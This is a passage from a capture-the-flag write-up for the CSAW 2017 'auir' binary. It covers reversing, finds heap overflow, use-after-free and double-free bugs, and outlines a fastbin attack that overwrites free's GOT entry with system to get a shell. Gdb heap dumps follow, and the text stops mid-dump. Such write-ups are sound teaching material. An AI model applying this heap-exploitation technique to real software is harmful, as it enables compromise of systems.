# csaw 2017 auir

Let's take a look at the binary:

```
$	pwn checksec auir 
[*] '/Hackery/pod/modules/fastbin_attack/csaw17_auir/auir'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$	file auir 
auir: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, stripped
$	./auir 
|-------------------------------|
|AUIR AUIR AUIR AUIR AUIR AUIR A|
|-------------------------------|
[1]MAKE ZEALOTS
[2]DESTROY ZEALOTS
[3]FIX ZEALOTS
[4]DISPLAY SKILLS
[5]GO HOME
|-------------------------------|
>>
```

So we can see that we are dealing with a `64` bit binary, with a Non-Executable stack. The program gives us a menu to either Make/Destroy/Fix/Display Zealots and Skills. In addition to that we are given a libc file `libc-2.23.so`

## Reversing

So when we reverse this, it becomes clear pretty quickly that the code has been obfuscated and will be a pain to reverse. How I reversed this was I looked for strings that a particular option displayed, which would lead me to a function, and I would just skim over the C pseudocode for it. Also I did a bit of guess and check with assuming what options did what. Then I would go into gdb, and verify what I saw from the function. From that we can determine that the 5 options do the following:

```
MAKE ZEALOTS:	Prompts you for a size, allocates that size in the heap with malloc, then allows you to scan in the amount of bytes allocated into the heap chunk.
DESTROY ZEALOTS: It frees the heap chunk for the zealot you give it.
FIX ZEALOTS: Allows you to scan in data into a Zealot. Does not check for an overflow.
DISPLAY SKILLS: Prints the first 8 bytes of data from the Zealot you provide it with.
GO HOME: Exits the program
```

In addition to that, we find that in the bss section of memory there are two interesting pieces of data. These can also be found by searching for the data we inputted and seeing where in the heap they were, then searching for where the pointers to those memory areas were stored (based on previous experience I kind of assumed this program would have something like these):

```
0x605310:	Stores pointers for all of the Zealots allocated
0x605630:	Integer that stores the amount of Zealots allocated
```

and we can confirm that with gdb:

```
gdb-peda$ x/4g 0x605310
0x605310:	0x[PII_REDACTED]617c20	0x[PII_REDACTED]617c40
0x605320:	0x[PII_REDACTED]617c60	0x[PII_REDACTED]000000
gdb-peda$ x/x 0x605630
0x605630:	0x[PII_REDACTED]000003
gdb-peda$ x/s 0x617c20
0x617c20:	"15935728\n"
gdb-peda$ x/s 0x617c40
0x617c40:	"75395128\n"
```

Now what is interesting here, is that if we destroy a zealot, a pointer for it in the bss remains, and the integer which holds the total count stays the same. This means that even after we free the chunk of space allocated for a zealot, we can edit that space again, and even free it again (both of which are major bugs). In addition to that, we also have the heap overflow bug from the FIX ZEALOTS option not checking if it is going to overflow the space it is writing to. So to sum it all up, we have a Heap Overflow bug in FIX ZEALOTS, and a Use After Free and Double Free bug because the DESTROY ZEALOTS leaves behind a pointer it frees.

## Exploitation

So we have a Use After Free and a heap overflow bug. We will use the use after free bug to get a libc infoleak, by allocating several chunks then freeing them. In this version of libc it stores arena pointers around certain freed chunks which point to somewhere in the libc, so by printing freed chunks we will be able to leak libc addresses if we align it right.

Proceeding that we will use the use after free to execute a fastbin attack. We will allocate two chunks of a similar fastbin size, and free them. Then we will edit the chunk that is on the top of the fastbin (the last one freed). Since with how the fastbin works, the heap memory should be containing a pointer to the next chunk of memory. We will edit it to point to the bss a bit before `0x505310` (where the heap pointers are). Also the reason why it is a bit before is for both to account for heap metadata that will take up space, and if we get too close we will fail a malloc check and the program will crash while it tries to allocate that chunk. After we make the edit, by allocating another chunk of the same size as the two we freed, our fake chunk should be placed at the top of the fastbin. Then by allocating one more chunk of the same size, we will get malloc to return a pointer to our fake chunk.

Using that fake chunk, we will be able to overwrite the heap pointers stored at `0x605310`. We will use this to overwrite the first heap pointer with the got entry address of free. Since RELRO isn't enabled, we can do what we are about to do next. Then we will write to the chunk at index `0`, which will write to the got table entry for free. We will just overwrite it with system. Then we will just overwrite the value of the chunk at index `1` to be `/bin/sh\x00`. After that we will be able to call `system("/bin/sh")` by freeing the chunk at index `1`.

So that was a brief high level overview. Let's see how the memory is actually manipulated:

### Libc Infoleak

First allocated some chunks (I allocated four):

```
gef➤  x/100g 0xdfec10
0xdfec10:	0x0	0x101
0xdfec20:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfec30:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfec40:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfec50:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfec60:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfec70:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfec80:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfec90:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfeca0:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfecb0:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfecc0:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfecd0:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfece0:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfecf0:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfed00:	0x[PII_REDACTED]303030	0x[PII_REDACTED]303030
0xdfed10:	0x0	0x81
0xdfed20:	0x[PII_REDACTED]313131	0x[PII_REDACTED]313131
0xdfed30:	0x[PII_REDACTED]313131	0x[PII_REDACTED]313131
0xdfed40:	0x[PII_REDACTED]313131	0x[PII_REDACTED]313131
0xdfed50:	0x[PII_REDACTED]313131	0x[PII_REDACTED]313131
0xdfed60:	0x[PII_REDACTED]313131	0x[PII_REDACTED]313131
0xdfed70:	0x[PII_REDACTED]313131	0x[PII_REDACTED]313131
0xdfed80:	0x[PII_REDACTED]313131	0x[PII_REDACTED]313131
0xdfed90:	0x0	0x101
0xdfeda0:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfedb0:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfedc0:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfedd0:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfede0:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfedf0:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfee00:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfee10:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfee20:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfee30:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfee40:	0x[PII_REDACTED]323232	0x[PII_REDACTED]323232
0xdfee50:	0x[PII_REDACTED]